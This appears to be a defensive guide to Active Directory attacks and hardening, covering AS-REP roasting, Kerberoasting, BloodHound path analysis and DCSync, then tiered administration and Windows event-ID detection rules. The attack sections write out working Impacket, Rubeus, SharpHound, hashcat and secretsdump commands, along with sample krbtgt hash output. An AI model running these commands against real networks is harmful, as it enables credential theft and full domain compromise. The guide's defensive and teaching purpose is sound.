Active Directory (AD) remains the foundational identity and access management backbone of over 90% of Fortune 500 enterprises. Because AD relies heavily on legacy protocols (NTLM, Kerberos, LDAP) and permissive default configurations, a single compromised workstation credential can quickly escalate to full Domain Compromise (Domain Admins).
This guide details the complete Active Directory attack lifecycle and provides the engineering blueprints to build a resilient Tiered Administration Model with high-fidelity telemetry detection.
1. The Active Directory Attack Progression Lifecycle
+-----------------------------------------------------------------------------+
| ACTIVE DIRECTORY ATTACK PROGRESSION |
+-----------------------------------------------------------------------------+
| |
| [PHASE 1: RECON] [PHASE 2: CREDENTIAL THEFT] [PHASE 3: DOMAIN RCE]
| LDAP Domain Query Kerberoasting (SPN Request) DCSync (DRSUAPI) |
| BloodHound Ingestion ---> AS-REP Roasting ---> GPO Abuse Paths |
| PowerView Enumeration LSASS Memory MiniDump Golden/Silver Ticket
| |
| |
| [DEFENSIVE BARRIERS] |
| - Tier-0 Isolation Boundary |
| - Protected Users Group |
| - Sysmon Event ID 4662 / 4769 |
| |
+-----------------------------------------------------------------------------+2. Kerberos Mechanics & Attack Primitives
Active Directory uses Kerberos v5 for mutual authentication. Understanding the ticket-granting exchange reveals why Kerberoasting and AS-REP roasting are structural protocol vulnerabilities.
A. AS-REP Roasting (No Pre-Authentication)
When user accounts have the DONT_REQ_PREAUTH flag enabled, an attacker can send an AS-REQ without knowing the user’s password and receive an encrypted AS-REP containing the password hash:
# Reconnaissance: Find all accounts without Kerberos Pre-Authentication
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
# Attack Execution using Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -outputfile asreproast.hashes
# Hashcat Offline Cracking (Mode 18200)
hashcat -m 18200 -a 0 asreproast.hashes /usr/share/wordlists/rockyou.txtB. Kerberoasting (Service Principal Names)
Any authenticated domain user can request a Kerberos Ticket Granting Service (TGS) ticket for any account with a registered ServicePrincipalName (SPN). Because the TGS is encrypted with the service account’s NTLM hash, attackers extract and crack it offline:
# Request TGS tickets for all SPN accounts via Rubeus
.\Rubeus.exe kerberoast /outfile:kerberoast.txt /stats
# Extracting with Impacket GetUserSPNs
GetUserSPNs.py domain.local/lowpriv_user:Password123! -request -outputfile kerberoast_hashes.txt
# Hashcat Offline Cracking (Mode 13100)
hashcat -m 13100 -a 0 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule3. BloodHound Graph Analysis: Finding Shortest Paths to Domain Admin
BloodHound ingests Active Directory object ACLs, group memberships, and user sessions using the SharpHound collector to map complex privilege escalation graphs:
# Ingest full AD Domain Graph
.\SharpHound.exe -c All,LoggedOn,ObjectProps --outputdirectory C:\Windows\Temp\Critical Escalation Paths Identified by BloodHound:
GenericAll/WriteDaclon Domain Objects: Allows an attacker to grant themselvesReplication-Get-Changes-Allpermissions or reset passwords on higher-privileged accounts.- Unconstrained Kerberos Delegation: Domain Controllers send full TGTs to delegated servers. If an attacker compromises a server with unconstrained delegation, they can coerce a DC to authenticate via SpoolSample (
MS-RPRN) and capture the DC’s machine TGT.
4. DCSync: Extracting the KRBTGT Master Hash
DCSync simulates the behavior of a Domain Controller using the Directory Replication Service Remote Protocol (MS-DRSR). An account with DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights can request the password hash for any domain user:
# Execute DCSync against Domain Controller using Secretsdump
secretsdump.py domain.local/compromised_admin:'Password123'@10.0.100.10 -just-dc-user krbtgtThe Output:
[+] Dumping Domain Credentials (domain\krbtgt)
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:82b4a34b281f9a1f28b7e21a02934a10:::5. Enterprise Defensive Architecture: Tiered Administration
To eliminate lateral movement from compromised endpoints to Domain Controllers, enforce the Tiered Administrative Model:
+-------------------------------------------------------------------------+
| ACTIVE DIRECTORY TIERED ADMINISTRATION |
+-------------------------------------------------------------------------+
| |
| [TIER 0: IDENTITY CONTROL] -> Domain Controllers, PKI, ADFS, Entra ID |
| (Admins log in ONLY on PAWs) |
| |
| [TIER 1: ENTERPRISE SERVERS] -> SQL Clusters, Web Apps, Hypervisors |
| (Restricted from Tier 0) |
| |
| [TIER 2: USER WORKSTATIONS] -> End-user Laptops, Desktops, Printers |
| (Zero Admin Rights to Tier 1/0) |
| |
+-------------------------------------------------------------------------+Tier-0 Defense Rules:
- Privileged Access Workstations (PAWs): Domain Admins authenticate only from dedicated, hardware-isolated, non-internet-connected workstations.
- Protected Users Security Group: Add all administrative accounts to the
Protected Usersgroup in Active Directory. This automatically blocks NTLM authentication, stops caching credentials in LSASS memory, and restricts Kerberos ticket lifetime to 4 hours. - gMSA (Group Managed Service Accounts): Convert all SPN service accounts to gMSAs with 128-character automatically rotated passwords to make Kerberoasting mathematically unfeasible.
6. High-Fidelity Threat Detection Rules
+-----------------------------------------------------------------------+
| EVENT ID | SOURCE | THREAT SIGNATURE / RULE |
+-----------------------------------------------------------------------+
| 4769 | Security Log | Kerberoasting: Ticket Encryption 0x17 (RC4)|
| 4768 | Security Log | AS-REP Roasting: Pre-Auth Type 0 Requested|
| 4662 | Security Log | DCSync: AccessMask 0x100 (Replication) |
| 7045 | System Log | Lateral Movement: Remote Service Installed|
+-----------------------------------------------------------------------+
// Discussion